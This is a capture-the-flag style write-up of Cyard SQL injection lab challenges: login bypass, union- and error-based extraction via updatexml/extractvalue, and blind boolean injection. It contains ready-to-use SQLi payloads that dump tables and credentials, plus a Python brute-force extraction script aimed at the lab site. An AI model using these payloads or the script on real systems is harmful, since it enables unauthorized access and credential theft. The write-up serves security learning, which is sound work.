SQL Injection - Cyard Challenges
Table of Contents
- Introduction
- Authentication Bypass
- Admin Portal
- Blind Boolean-Based SQL Injection Challenge
- SQL - Error based Challenge
Introduction
Hello, in this writeup, I will talk about how to find and exploit SQL Injection in lims
app provided by Cyard. The Challenge involves Login
page. The objective is to bypass authentication and dump data from different places the whole app.
Authentication Bypass
First, let’s visit the app and start Login page.
As we learned in SQL Injection Tutorial (you can find it here), let’s start to inject random credentials and see what happens
We can see above it just redirect us to the same login page which means that credentials is incorrect.
Let’s inject a single quote to see how the query will be broken.
We can see above that the query was broken, but how the query looks like? let’s break it down.
In login pages, we can assume that the main objective is to redirect the user to dashboard or admin portal. So, we have 3 scenarios of the query.
The main query looks like:
select * from users where username='$user' and password='$pass';
Scenario #1:
A user enters username and password and the server checks if there is a record in database the contains the same username and password and if found the user logged in.
Scenario #2:
A user enters username and password and the server compares the password exist in the database for the specified user and the password that entered by user.
Scenario #3:
A user enters username and password and the server compares the password hash
exist in the database for the specified user with the password hash
that entered by user.
So, if the server doesn’t check for the password we can try scenario #1
.
We can see above, it doesn’t returned any result, which means it might verify the password.
So, let’s check the second scenario, we can bypass authentication using Union-Based SQL Injection
.
Union-Based SQL Injection
If the application checks password returned from user and compare it with the password in the database, the query will be the following:
select password from users where username='$user' and password='$pass';
-- then compare the password with the one in the database.
/* if (password == $row[password]) {
header('Location: dashboard.php');
} */
....
Can we abuse the above query to be like this:
select password from users where username='attacker' union select 'Pass'
the returned value from the query is Pass
because the first select
statement doesn’t return any result and the second select
will return the value of it to be from the database.
The same here, we will enter invalid user and use union select 'Pass'
to make the password returned from the database is Pass
and the password we entered is the same to make the server redirect us to the dashboard/portal as the condition is true.`
select password from users where username='attacker' union select 'Pass' and password='Pass';
Error-Based SQL Injection
We saw above that when we inject a single quote, the response contained an error. We can use this error to exfiltrate data from database.
There is some functions rather than return a simple error, they return more information about database in the error.
Some of these functions: updatexml()
, extractvalue()
.
We will use updatexml()
to exfiltrate data.
This function replaces a single portion of a given fragment of XML markup
xml_target
with a new XML fragmentnew_xml
, and then returns the changed XML. The portion ofxml_target
that is replaced matches an XPath expressionxpath_expr
supplied by the user. If no expression matchingxpath_expr
is found, or if multiple matches are found, the function returns the originalxml_target
XML fragment. All three arguments should be strings.UpdateXML(xml_document, xpath_expr, replacement)
xml_document
: The XML document you want to modify.
xpath_expr
: The XPath expression used to select the nodes that you want to modify.
replacement
: The value that will replace the selected node(s).
The query we will use if the following:
updatexml(null,concat(0x0a,'<Data_To_Exfiltrate>'),null)-- -
The CONCAT(0x0a, 'user()')
part concatenates two values:
-
0x0a
: This is the hexadecimal representation of theline feed character (LF)
, which is a new line character. -
'user()'
: returns the current MySQL user. -
The result of this concatenation is
\n asfg
.
As the first and third parameters are null
, it will process the second argument normally.
Query to read exfiltrate user()
: updatexml(null,concat(0x0a,user()),null)-- -
Query to read exfiltrate version()
: updatexml(null,concat(0x0a,version()),null)-- -
Query to read exfiltrate tables
: updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1 )),null)-- -
Note: update
limit 0,1
tolimit 1,1
, etc. to get all tables.
Query to read exfiltrate columns
: updatexml(null,concat(0x0a,(select column_name from information_schema.columns where table_name='nominee' limit 0,1 )),null)-- -
Now, we have columns and tables let’s extract usernames and phone numbers, etc from database.
Admin Portal
After we bypass login page, we will be redirected to Admin Portal
, Let’s see what is there.
We can see a client.php
page and there is a Client Status
, let’s click it.
We can see there is a client_id
parameter in the request, let’s try to inject a single quote on it.
We can see above, the response contains a SQL Error which indicates to SQL Injection.
Let’s try to exfiltrate data again but this time using Union-Based SQL Injection
.
Union-Based SQL Injection
To exfiltrate data using union
statement, we need to know number of columns and to do this, we will use order by
statement.
Query to read exfiltrate number of columns: ' order by 100 -- -
. Reduce this number until you get the right number of columns which is 12
.
Now, we can use union
statement to determine the vulnerable/returned columns.
We can see in the below image there are many columns returned from the database. We will use first 3 columns.
Retrieve database()
, user()
, and version()
.
Retrieve tables.
Retrieve Columns.
Exfiltrate data from database.
Error-Based SQL Injection
After checking the portal more I found Error-Based SQL Injection
in the clientStatus.php
also and nominee.php
.
This time, we can use extractvalue()
to exfiltrate data from database.
The EXTRACTVALUE function takes as arguments an XMLType instance and an XPath expression and returns a scalar value of the resultant node. The result must be a single node and be either a text node, attribute, or element.
EXTRACTVALUE(xml_document, xpath_expr)
xml_document
: The XML document from which you want to extract the value.
xpath_expr
: The XPath expression used to select the nodes from the XML document.
The query we will use if the following:
extractvalue('test',concat('.',<Data_To_Exfiltrate>))-- -
The concat('.',user())
part concatenates two values:
-
.
: To handle the query as XPATH expression. -
'user()'
: returns the current MySQL user
You can try it yourself and extract as we explain in updatexml()
above.
Blind Boolean based SQL Injection Challenge
The challenge from Cyard.
In Boolean based sql injection
, we rely on the message returned from the application.
Let’s start the challenge.
We can see the challenge contains login and reset password. I have tested login page and can’t found something useful to do in it. So, let’s move to password reset functionality.
If we enter admin
, it gives us green message which means the user exist and red message means the user doesn’t exist.
Let’s intercept the request to burp and play with it.
If we inject a single quote, the response will return 500 Internal server error
which is not usual.
Let’s try to fix the query using 'and '1'='1
and the response will be normal again.
If we try order by
or union
statement here will not working because there is no error messages returned.
So, we can send queries that returns true (green message) if the query is valid and false (red message) otherwise.
We can use substring()
function to brute force and extract a part of a string based on specified starting and ending positions. Let’s use it to exfiltrate data.
SUBSTRING(string, start, length)
string
: The input string from which you want to extract a part.start
: The position to start extracting. (1-based index, i.e., the first character is at position 1.)length
: The number of characters to extract.
Let’s try to extract user of the database user()
using substring(user(),1,1)='a
.
In this query the substring returns the first character of user()
and compare it with letter a
, if true, the green message will appear in the response, otherwise the red message will fire.
We can see the first and second characters of user()
is bl
. But doing this manually is tough, so, I create a script to automate the process.
import requests
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
}
url = "https://livelabs.0x4148.com/challenges/boolean_1/"
target_text = "A password reset email has been sent."
# Determine the length of the query result
query_length = 0
query = "select password from users limit 1"
for i in range(1, 100):
payload = f"username=admin' and length(({query}))={i} and 1='1&reset_password="
response = requests.post(url, headers=headers, data=payload)
if target_text in response.text:
query_length = i
print(f"Query result length: {query_length}")
break
if query_length == 0:
print("Failed to determine query result length.")
exit(1)
# Extract the query result
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+[]{}|;:,.<>?/`~-=\\\"' "
password = ""
for position in range(1, query_length + 1):
for char in chars:
payload = f"username=admin' and substring(({query}),{position},1)='{char}&reset_password="
response = requests.post(url, headers=headers, data=payload)
if target_text in response.text:
password += char
print(f"Extracted so far: {password}")
break
print(f"Extracted query result: {password}")
SQL - Error based Challenge
The challenge from Cyard.
The Error based
challenge has the same UI as Boolean based
challenge.
So without wasting time let’s intercept the request from password reset again and inject single quote.
We can see SQL error in the response which indicates to SQL Injection.
Before trying to exfiltrate data, we need to fix the query to determine how we can exploit it.
As we saw in the error-based
previous challenges, so we will focus on the data returned from SQL function errors not the extracting data directly.
If we use extractvalue()
or updatexml()
, response will show us the following error.
What we can do here?
Good question! we can go to database documentation and check for functions that trigger an error and we can control this error to retrieve data or collect all possible functions and fuzz for them to check if any of them returns controlled error.
As the application uses php
, we can assume that the used database is MySQL
. So, we can go to MySQL
documentation and collect all function and use them for fuzzing.
I will use
concat('abc', 'xyz')
and the expected value should be returned in the response isabcxyz
.
We can see there are many functions returned status code 200
, but most of them returned the error of the function itself not our expected value, however BIN_TO_UUID()
function returned the expected value.
So, let’s try to exfiltrate data like previous challenges such as version()
, user()
, database()
.
version()
:
user()
:
database()
:
Extracting tables:
Extracting columns:
Extract Login Credentials:
That’s all for today. Thanks for reading.